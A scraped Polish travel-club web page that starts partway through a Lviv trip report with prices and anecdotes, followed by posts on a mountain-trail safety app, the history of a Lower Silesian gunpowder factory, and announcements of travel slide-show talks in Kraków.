Piesek ten bowiem był wyjątkowy. Był to chyba jamnik-miniaturka (takiego przypominał). Jak to pani Stefania mówiła, piesek ten:”…bardzo lubi dziewuszki, chłopców już mniej”.
Pewnego wieczora, pani Stefania usłyszała jak skrada się przed pokojem gości, a że drzwi były przymknięte jamnik wziął rozpęd i rzucając się na drzwi, je otworzył. Jakież było zdziwienie gości jak zobaczyli w ten sposób otwierającego sobie drzwi jamnika.

 
 
 
Po porannej opowieści ruszyliśmy w miasto. Pierwszym naszym przystankiem była wieża widokowa, tuż obok Katedry (wstęp 5 hrywien), z którym roztaczał się przepiękny widok na cały Lwów. Następnie ruszyliśmy w stronę Wysokiego Zamku a raczej, jak my to stwierdziliśmy wzgórza z którego również można zobaczyć przepiękną panoramę Lwowa.
Po drodze zwiedziliśmy jeszcze Arsenał Miejski i Cerkiew Ormiańską. Po zejściu ze wzgórza, chcieliśmy przejechać się jakąś taksówką pamiętającą jeszcze lata 70te. Wbiliśmy się więc w jeden z takich pojazdów i za śmieszną kwotę 20 hrywien kierowca zawiózł nas do parku im.Franki, tuż przy Uniwersytecie Lwowskim.
W parku zrobiliśmy sobie chwile odpoczynku i powoli wracaliśmy w stronę naszej kwatery, aby powoli zbierać się do odjazdu.
Oczywiście nie obyło by się bez pamiątek. Każdy z nas miał tutaj inne wymagania.
Mateusz najbardziej chyba ucieszył się z na prawdę tanich płyt CD i zakupił takie dwie (jedna z ukraińskim hh ).
Ja natomiast zadowoliłem się ceramicznym kubkiem i skarbonką również za na prawdę śmieszne pieniądze.

Po zaopatrzeniu się w pamiątki i to co bez czego się z Ukrainy nie wraca (), a przede wszystkim po pożegnaniu ze wspaniałą panią Stefanią ruszyliśmy w stronie dworca, gdzie dojechaliśmy również taksówką za 30 hrywien.
Udało nam się trafić od razu na marszrutkę jadącą do granicy.
Po drodze delektowaliśmy się oczywiście miejscowymi browarkami i jak to w takich przypadkach bywa, tuż po wyjściu złapała nas potrzeba załatwienia potrzeby fizjologicznej. Długo się nie zastanawialiśmy i poszliśmy pod bramę najbliższego budynku. W tym momencie zaczął iść w naszą stronę strażnik celny. Chłopaki zbytnio się tym nie przejęli i robili co mieli robić.
Po chwili strażnik zawołał nas do nas i zakomunikował nam że ten budynek, jest budynkiem…straży granicznej.
Po krótkiej wymianie zdań doszliśmy do wniosku, ze bez łapówki nas nie puści, a jako że nam kaska się kończyła wręczyliśmy panu….20 hrywien i ku naszemu zdziwieniu puścił nas z uśmiechem na ustach. Po drodze jeszcze zapytał nas ile byśmy w Polsce za taki występek zapłacili.
Odpowiedzieliśmy że 50-100 zł- zobaczyć jego minę jak to usłyszał- bezcenne.

Po skonsumowaniu ostatniego posiłku na Ukrainie, ruszyliśmy do granicy(każdy z nas pewnie to wie, ale przypomnę że można przewieźć litr wódki i 2 paczki papierosów).
Przy przeszukiwaniu naszych bagaży doszło do kolejnej komicznej sytuacji.
Pani strażniczka pytała bowiem każdego z nas jakie pamiątki wieziemy ze Lwowa. No i Mateusz np powiedział że jakieś tam płyty, ja kubek i skarbonkę, natomiast Waldek z pełną powagą odpowiedział:
– 2 kubki, pół litra i 2 piwa.
-Wódka chyba nie jest pamiątką z Ukrainy – odpowiedziała strażniczka.
Wywołało to na prawdę salwę śmiechu u wszystkich w kolejce.

Taką wesołą sytuacją zakończyła się nasza krótka ale jakże piękna wycieczka.
Lwów jest miastem które każdy Polak, powinien chociaż raz w życiu zobaczyć. Piękne zabytki, robiący niesamowite wrażenie Cmentarz Orląt, czy bardzo niskie ceny na pewno zachęcają do odwiedzenia tego miejsca.

 
 
 
 
 
A oto kilka przykładowych cen z lutego 2009 i kosztorys naszego wyjazdu:

PRZEJAZD: 65 zł (bilet na odcinek Kraków-Przemyśl i z powrotem z tą uwagą że obowiązuje tylko w weekend)- pociąg.
2zł- bus z Przemyśla do Medyki
15 hrywien (około 7zł)- przejazd z Szegini do Lwowa (około 2 godzin)
CENY:
Piwo- od 3,50 hrywny (1,60zł)- ceny piw w barze, na prawdę niewiele się różnią od tych w sklepie (przynajmniej w tych w których byliśmy)
Wódka– 0,5 l od 16 hrywien (7 zł, Nemiroff 9 zł)
Obiad(oczywiście w zależności od dań) około 8-10zł
Sok z granata– 25 hrywien(uważajcie bo my się właśnie na tym nabrali, bo nie zauważyliśmy ceny i zapłaciliśmy za litr soku tyle samo co za 0,7 wódki)
Przejazd tramwajem– 1 hrywna (0,15zł
Bilety wstępu do zabytków:  5 hrywien

 
 
 
ceny z 1 maja 2013r. podane na forum klubu:
http://www.klubpodroznikow.com/forum/59-praktyczne-informacje-i-porady/8303-lwow-dojazd-pobyt-i-powrot-ceny



fotorelacja z weekendu majowego 2013r.
 
 
 
 
 

 

0 komentarze/y
0 FacebookTwitterPinterestEmail
Ciekawostki

Aplikacja Bezpieczny Szlak

przez Redakcja
Napisane przez Redakcja
Aplikacja Bezpieczny Szlak 2

Aplikacja Bezpieczny Szlak 

 

   Aplikacja „Bezpieczny Szlak” została wykonana na podstawie badań prowadzonych przez Karolinę Zięba-Kulawik (pod opieką naukową dr hab. inż. Piotra Wężyka; Uniwersytet Rolniczy w Krakowie, Wydział Leśny, ZULGiEL). Projekt został zrealizowany dzięki środkom finansowym w ramach Stypendium im. Anny Pasek, edycja IX, 2016/2017

 

 

Aplikacja Bezpieczny Szlak 2

 

Wyniki badań pt. „Monitoring i ocena zmian krajobrazu Gorców i Tatr ze szczególnym uwzględnieniem kompleksów leśnych z wykorzystaniem danych teledetekcyjnych oraz LiDAR w aspekcie bezpieczeństwa w górach. Wybór odcinków na szlakach turystycznych w TPN i GPN szczególnie zagrożonych ze względu na występowanie martwych drzew” zaimplementowano w przedłożonej mobilnej aplikacji, która wykorzystana we właściwy sposób może przyczynić się do zwiększenia bezpieczeństwa na gorczańskich i tatrzańskich szlakach.

W aplikacji „Bezpieczny Szlak” zaprezentowano warstwy szlaków turystycznych oraz lokalizacje zamierających drzewostanów oraz wyszczególniono odcinki szlaków niebezpiecznych z powodu zagrażających martwych drzew. Przy wygaszonej mapie, aplikacja ostrzega o zbliżającym się obszarze z występującym ryzykiem za pomocą komunikatu dźwiękowego oraz pojawiającej etykiety na ekranie. Ponadto aplikacja oferuje następujące funkcjonalności: możliwość przeglądania mapy Gorczańskiego i Tatrzańskiego Parku Narodowego (mapa “Teren” oraz “Satelita”), szlaków turystycznych (wraz z opisami: długość trasy, czas przejścia) oraz charakterystycznych miejsc (schroniska, szczyty). Aplikacja pozwala na zapisywanie śladu GPS, robienie zdjęć oraz wyświetlania aktualnych współrzędnych z możliwością przesłania koordynatów poprzez SMS lub e-mail. Poprzez aplikację istnieje możliwość przekazania zgłoszenia do GPN lub TPN (e-mail) oraz znajdziemy ogólne informacje na temat bezpieczeństwa w górach i telefony alarmowe. Z powodów licencyjnych z aplikacji może korzystać maksymalnie 50 tysięcy użytkowników miesięcznie.

Aplikacja wykorzystuje mapy pochodzące z projektu Open Street Map, które mogą zostać pobrane i użyte w trybie offline, co jest niezbędne do działania w terenie, w którym nie zawsze jest dostępna sieć komórkowa o odpowiedniej przepustowości.

 

Aplikacja Bezpieczny Szlak 5

 
Bezpłatna aplikacja „Bezpieczny Szlak” jest dostępna:
 
– w sklepie Apple App Store pod adresem:
 
– w Google Play Store pod adresem:
 
 
 
Aplikacja Bezpieczny Szlak 3
 
 
Aplikacja „Bezpieczny Szlak” – TPN i GPN
autor: Karolina Zięba-Kulawik, programista: Tomasz Kulawik
 
 
 
Aplikacja Bezpieczny Szlak 4
 
0 komentarze/y
0 FacebookTwitterPinterestEmail
Dolny Śląsk

Najstarsza na świecie czynna fabryka prochu

przez Redakcja
Napisane przez Redakcja
Najstarsza na świecie czynna fabryka prochu gdzie

Najstarsza na świecie czynna fabryka prochu gdzie

 Najstarsza na świecie czynna fabryka prochu czarnego w Mąkolnie na Dolnym Śląsku

 

Rowerem przez Pogranicze Kłodzkie

Mijają lata a nawet całe wieki, zmienia się technologia a produkcja prochu czarnego niewiele zmieniła się od ponad 300 lat. W niewielkiej wsi Mąkolno położonej w gminie Złoty Stok, proch czarny produkuje się nieprzerwanie od 1695 roku. Od 1783 r. w fabryce produkowano także lont prochowy, której to produkcji zaniechano. W 1891 r. rozpoczęto produkcję amunicji dla wojska oraz myśliwskiej. Początki działalności fabryki datowane są na 13 lutego 1692 roku, kiedy to cesarz Leopold I udzielił koncesji Hansowi Krahlowi na produkcję prochu czarnego. Kolejna ważna data to 18 czerwca 1695 r. kiedy to Krahl uzyskał zezwolenie na produkcję prochu od zakonu cystersów w Kamieńcu, będącego wówczas właścicielem wsi Mąkolno. Urządzenia pozwalały na wytwarzanie ok. 500 kg prochu miesięcznie. Odbiorcami prochu była m.in Kopalnia Złota w Złotym Stoku oraz Twierdza Srebrna Góra.

 

 

 fabryka prochu w Mąkolnie 4

 

 Przy skrzyżowaniu z drogą na Chwalisław stoi okazały pamiątkowy pomnik, ufundowany na 200-lecie zakładu przez jego właściciela, Hermanna Güttlera.

 

 

fabryka prochu w Mąkolnie 9

 

Z uwagi na duze niebezpieczeństwo wybuchu, do którego wioelokrotnie dochodziło, zabudowania fabryki rozmieszczone były wzdłóż doliny potoku Mąkolnica, także w stronę Chwalisławia.

 

 

obiekty do produkcji prochów z 1895 roku

 

fabryka prochu w Mąkolnie 10

 

fabryka prochu w Mąkolnie 12

 

Budynki dawnego zakładu jakie można oglądać do dzisiaj stojące wzdłuż drogi Złoty Stok – Kłodzko, to biura i magazyny obecnie działających tu innych firm.

 

fabryka prochu w Mąkolnie 3

 

Wieś Mąkolno liczy dzisiaj około 600 mieszkańców a zabudowania domów oraz dawnej fabryki rozciągnięte są wzdłuż potoku Mąkolnica.

 

fabryka prochu w Mąkolnie 11

 

Skrzyżowanie drogi z Chwalisławia z drogą Kłodzko – Nysa (Złoty Stok)

 

fabryka prochu w Mąkolnie 5

 

Pozostałości dawnych zabudowań fabryki można zobaczyć w gąszczu zieleni wzdłuż potoku i starej drogi biegnącej ze Złotego Stoku przez Wąwóz Kłodzki do Chwalisławia.

 

fabryka prochu w Mąkolnie 7

 

fabryka prochu w Mąkolnie 8

 

fabryka prochu w Mąkolnie 6

 

Zwiedzanie Mąkolna i Chwalisławia najlepiej zaplanować rowerem. Cała okolica idealnie się do tego nadaje. Baza wypadowa to oczywiście Złoty Stok, ale warto skorzystać także z miejscowej oferty agroturystyki.

 

fabryka prochu w Mąkolnie 2

 

fabryka prochu w Mąkolnie 1

 

 

Szczegółowy opis fabryki wraz z wieloma archiwalnymi zdjęciami: http://zlotystok.salwach.pl/fabryka_prochu

 

 

 

 

euroregion Glacensis

0 komentarze/y
0 FacebookTwitterPinterestEmail
Cykliczne Spotkania Podróżników

Piotr Trybalski Fotograficzno – filmowa opowieść o Islandii

przez Redakcja
Napisane przez Redakcja

Fundacja Klubu Podróżników Śródziemie Aleja Podróżników
Arteteka Wojewódzkiej Biblioteki Publicznej w Krakowie
ul. Rajska 12 I piętro (wejście od ulicy Szujskiego)
(budynek Małopolski Ogród Sztuki)
14.01.2019 godzina 19:00
Piotr Trybalski
Fotograficzno – filmowa opowieść o Islandii

 Ogarnianie Islandii
A może by tak rzucić wszystko i wyjechać na Islandię? Fotograficzno – filmowa opowieść o Islandii, w której autor spędził i zimę i lato. Islandia to osobliwe miejsce, słynie z oszałamiającej przyrody. Największą mniejszością w kraju są Polacy, ale i tak najwięcej tu owiec – kilka razy więcej niż ludzi. Osobliwym przysmakiem jest hekarl, czyli popsute mięso rekina, do 1989 roku nie można było kupić tu piwa, a do 2014 uprawiać… boksu! I chociaż przez większość roku ciemno tu i chmurno, Islandczycy to urodzeni optymiści, a emigranci wpadają tu w depresję. Kapitan tutejszej reprezentacji w piłce nożnej prowadzi przetwórnię ryb, dziewczyny chodzą wędkować, zaś jeden z islandzkich siłaczy robi karierę w Grze o Tron. Gdy w IX w. dotarli tu pierwsi osadnicy – Wikingowie – zastali ciężkie warunki: chłód, wulkaniczną skałę, wiatr, deszcz i śnieg. Od tamtego czasu niewiele się zmieniło. Islandia wciąż słynie z nieprzewidywalnej, srogiej aury. I mocno zakrapianych weekendów.

Piotr Trybalski
Dziennikarz, fotograf, podróżnik, pisarz. Przez blisko 10 lat kierował serwisem OnetPodróże, pisał i fotografował m.in dla: “Outside”, „Polityka”, “Przekrój” „National Geographic”, National Geographic Traveler, „Podróże”, „Focus Historia”, „Magazynu Górskiego”, „Ski”, “Witaj w podróży”. Jest autorem książek, m.in. „Fotograf w podróży”, “Ja, pustelnik”, “Wszystko za K2”, prowadzi warsztaty fotograficzne i fotowyprawy, serwis internetowy http://Fotografwpodrozy.pl. Finalista i laureat konkursów fotograficznych (m.in. Grand Press Photo, Wielki Konkurs National Geographic, Leica Street Photo), zdobył tytuł Travel Photographer of The Year.

fotograficznie # Fotografwpodrozy.pl
http://trybalski.com

 

Obraz może zawierać: niebo, na zewnątrz, przyroda i woda

Obraz może zawierać: przyroda i na zewnątrz

Obraz może zawierać: na zewnątrz i przyroda

Obraz może zawierać: ocean, niebo, chmura, woda, na zewnątrz i przyroda

Obraz może zawierać: noc i na zewnątrz

 

0 komentarze/y
0 FacebookTwitterPinterestEmail
Cykliczne Spotkania Podróżników

Etiopia- wielowiekowa kultura, fascynująca natura

przez Redakcja
Napisane przez Redakcja

Fundacja Klubu Podróżników Śródziemie Aleja Podróżników
Arteteka Wojewódzkiej Biblioteki Publicznej w Krakowie
ul. Rajska 12 I piętro (wejście od ulicy Szujskiego)
(budynek Małopolski Ogród Sztuki)
07.01.2019 godzina 19:00
Etiopia- wielowiekowa kultura, fascynująca natura
Ewa Wachowicz, Klaudia Cierniak-Kożuch. Krzysztof Jaxa Kwiatkowski

 slajdowisko nr 456


Etiopia położona jest we wschodniej części kontynentu, w tzw. Rogu Afryki. Kraj, który może poszczycić się historią liczącą blisko trzy tysiące lat –poza Iranem i Japonią to najstarsze państwo
świata. Jedyne w Afryce, które nigdy nie było skolonizowane.
Podczas dwutygodniowej podróży odkrywaliśmy północną część Etiopii.
Opowiemy o wędrówce przez góry Simien ze szczytem Ras Dashen (4543 m npm)- najwyższym w Etiopii i czwartym pod względem wysokości w Afryce, gdzie krajobrazy stanowią gotową
scenografię do filmu Park Jurajski. Zaprosimy również na wulkan Dallol położony w pobliżu granicy z Erytreą powstały na dnie niegościnnej, pustynnej depresji Danakilskiej. Średnia temperatura roczna jest tu najwyższa na Ziemi i wynosi około 34.4C. Ze słonego jeziora wydobywana jest sól, a jej pozyskiwanie i sposób transportu nie zmienił się od wieków. Wspólnie zwiedzimy miasto Aksum, od którego wywodzi się istnienie państwa etiopskiego. Stanowi ono prawdopodobne miejsce ukrycia Arki Przymierza i święte miejsce pielgrzymek wyznawców
ortodoksyjnego chrześcijaństwa etiopskiego , podobnie jak Lalibella z kościołami wykutymi w skale, określanymi jako ósmy cud świata. Naszą etiopską przygodę zakończymy w Addis Adebie- śladami „Cesarza” Ryszarda Kapuścinskiego. No i oczywiście nie zabraknie opowieści o kuchni etiopskiej…..
Serdecznie zapraszamy !
Ewa Wachowicz, Klaudia Cierniak-Kożuch. Krzysztof Jaxa Kwiatkowski

 

Obraz może zawierać: 10 osób, uśmiechnięci ludzie, ludzie stoją i na zewnątrz

Obraz może zawierać: góra, niebo, na zewnątrz, przyroda i woda

Obraz może zawierać: roślina, na zewnątrz i przyroda

0 komentarze/y
0 FacebookTwitterPinterestEmail
Cykliczne Spotkania Podróżników

Ameryka Południowa, Chile i Bliski Wschód

przez Redakcja
Napisane przez Redakcja

Fundacja Klubu Podróżników Śródziemie Aleja Podróżników
Arteteka Wojewódzkiej Biblioteki Publicznej w Krakowie
ul. Rajska 12 I piętro (wejście od ulicy Szujskiego)
(budynek Małopolski Ogród Sztuki)
17.12.2018 godzina 19:00
Bernadetta „Bebe” Baran
Ameryka Południowa, Chile i Bliski Wschód

 12 tys km od domu odkryliśmy jedno z najpiękniejszych miejsc na Ziemi !

Według naukowców Pustynia Atakama to najbardziej suche miejsce na ziemi z opadami osiągającymi w niektórych miejscach zaledwie kilka milimetrów w skali całego roku. Są też rejony gdzie w ogóle nie zanotowano żadnego opadu. Dzieje się tak z powodu płynącego u wybrzeży zimnego Prądu Peruwiańskiego.
Atacama to pustynia kamienista rozciągająca się wzdłuż zachodnich wybrzeży Ameryki Południowej. Ten surowy rejon jest skrajnie nieprzyjazny dla człowieka.
Dlaczego warto jechać na drugi koniec świata by odwiedzić to miejsce?
Czy alpaki i lamy na wolności dają się pogłaskać?
Jak straciłam oddech na 4500m n.p.m?
I dlaczego podroze zima do Ameryki Południowej to dobry pomysł?

Na te i inne pytania o Pustyni Atacama odpowie Bernadetta BEBE Baran – łazik górski i plaskowyzowy, łowca tanich lotów, motocyklistów, autorką książki „100 pomysłów na podróżowanie”.

Podczas spotkania będzie możliwość zakupu książki w promocyjnej cenie 30zl, lub 2szt za 50zl.

Ten rok jest wyjątkowo intensywny jeśli chodzi o podróże. Odwiedziliśmy w sumie 11 państw­, po raz pierwszy dotarliśmy do Ameryki Południowej, zakochaliśmy się w Chile i w Bliskim Wschodzie.

Jednak Chile wygrywa w tegorocznym rankingu. Pustynia Atakama to zdecydowanie najpiękniejsze miejsce w jakim do tej pory byłam.

Bernadetta „Bebe” Baran – w sumie podróżuję od 15 lat, a długodystansowo od 7 lat. W tym czasie udało mi się odwiedzić 33 kraje na 4 kontynentach i nie zamierzam chować mojego plecaka do szafy. Podróżuję nisko budżetowo i zawsze samodzielnie organizuje swoje wyprawy. Prowadzę Instagrama @powsinoga_ oraz fanpage na Facebook „100 pomysłów na podróżowanie”. W 2015 roku samodzielnie wydałam książkę o tym samym tytule „100 pomysłów na podróżowanie”, która jest kompendium wiedzy o tanim podróżowaniu dla każdego, niezależnie od wieku, stanu zdrowia czy zasobności portfela.

W skrócie: lubię podróżować, jeść i spać.

Jestem miłośniczką tańców latynoamerykańskich tj. salsa, bachata czy kizomba. Szczególnie bliskie są mi kultury Ameryki Południowej oraz Półwyspu Iberyjskiego. Podróżuje autem, motocyklem, samolotem, rowerem pieszo i pociągami. Moje kolejne planowane podróże to Macedonia, Kazachstan, USA, Peru & Boliwia, Jordania, Oman i Zjednoczone Emiraty Arabskie. Moje motto życiowe: Rób to co kochasz i rób to często. Żyj swoją pasją!

Instagram: powsinoga_
Facebook: 100 pomysłów na podróżowanie

 

Obraz może zawierać: niebo, góra, chmura, na zewnątrz, przyroda i woda

Obraz może zawierać: niebo, chmura, na zewnątrz i przyroda

Obraz może zawierać: niebo, na zewnątrz i przyroda

Obraz może zawierać: niebo, góra, chmura, na zewnątrz i przyroda

Obraz może zawierać: na zewnątrz i woda

Obraz może zawierać: 1 osoba, ocean, okulary przeciwsłoneczne, niebo, na zewnątrz, przyroda i woda

Obraz może zawierać: ocean, góra, niebo, chmura, na zewnątrz, przyroda i woda

0 komentarze/y
0 FacebookTwitterPinterestEmail
Cykliczne Spotkania Podróżników

Fidżi Kraina Szczęśliwości

przez Redakcja
Napisane przez Redakcja

Fundacja Klubu Podróżników Śródziemie Aleja Podróżników
Arteteka Wojewódzkiej Biblioteki Publicznej w Krakowie
ul. Rajska 12 I piętro (wejście od ulicy Szujskiego)
(budynek Małopolski Ogród Sztuki)
10.12.2018 godzina 19:00
Paweł Krzemiński
Bula! czyli Fidżi Kraina Szczęśliwości

  Paweł Krzemiński
Bula! czyli Fidżi Kraina Szczęśliwości
Wyspy Fidżi, wielu kojarzą się z wyłącznie z luksusowymi resortami , podczas mojej prezentacji chciałbym przedstawić inny wymiar i walory tej destynacji.
Gdzie Słonce świeci 360 dni w roku, a ludzie są szczęśliwi i cały czas uśmiechnięci. Być może moja opowieść będzie inspiracją dla innych by odwiedzić ten odległy zakątek Świata.
Aby naprawdę poznać klimat Fidżi trzeba spędzić kilka dni na jednej z mniejszych wysepek nie koniecznie tej z luksusowym resortem, A wręcz takiej gdzie brak internetu, a prąd jest dostępny jedynie z generator.
Jednak nie krajobrazy czy emocje są tu najważniejsze, najważniejsi są ludzie, lokalsi mają w sobie mnóstwo pozytywnej energii i radości.
Faktycznie jest to Raj na ziemi, ludzie, krajobrazy i klimat.

 

Obraz może zawierać: co najmniej jedna osoba, ogień, noc i na zewnątrz

0 komentarze/y
0 FacebookTwitterPinterestEmail
Cykliczne Spotkania Podróżników

Fidżi Kraina Szczęśliwości

przez Redakcja
Napisane przez Redakcja

Fundacja Klubu Podróżników Śródziemie Aleja Podróżników
Arteteka Wojewódzkiej Biblioteki Publicznej w Krakowie
ul. Rajska 12 I piętro (wejście od ulicy Szujskiego)
(budynek Małopolski Ogród Sztuki)
10.12.2018 godzina 19:00
Paweł Krzemiński
Bula! czyli Fidżi Kraina Szczęśliwości

  Paweł Krzemiński
Bula! czyli Fidżi Kraina Szczęśliwości
Wyspy Fidżi, wielu kojarzą się z wyłącznie z luksusowymi resortami , podczas mojej prezentacji chciałbym przedstawić inny wymiar i walory tej destynacji.
Gdzie Słonce świeci 360 dni w roku, a ludzie są szczęśliwi i cały czas uśmiechnięci. Być może moja opowieść będzie inspiracją dla innych by odwiedzić ten odległy zakątek Świata.
Aby naprawdę poznać klimat Fidżi trzeba spędzić kilka dni na jednej z mniejszych wysepek nie koniecznie tej z luksusowym resortem, A wręcz takiej gdzie brak internetu, a prąd jest dostępny jedynie z generator.
Jednak nie krajobrazy czy emocje są tu najważniejsze, najważniejsi są ludzie, lokalsi mają w sobie mnóstwo pozytywnej energii i radości.
Faktycznie jest to Raj na ziemi, ludzie, krajobrazy i klimat.

 

Obraz może zawierać: co najmniej jedna osoba, ogień, noc i na zewnątrz

0 komentarze/y
0 FacebookTwitterPinterestEmail
@2021 - All Right Reserved. Designed and Developed by PenciDesign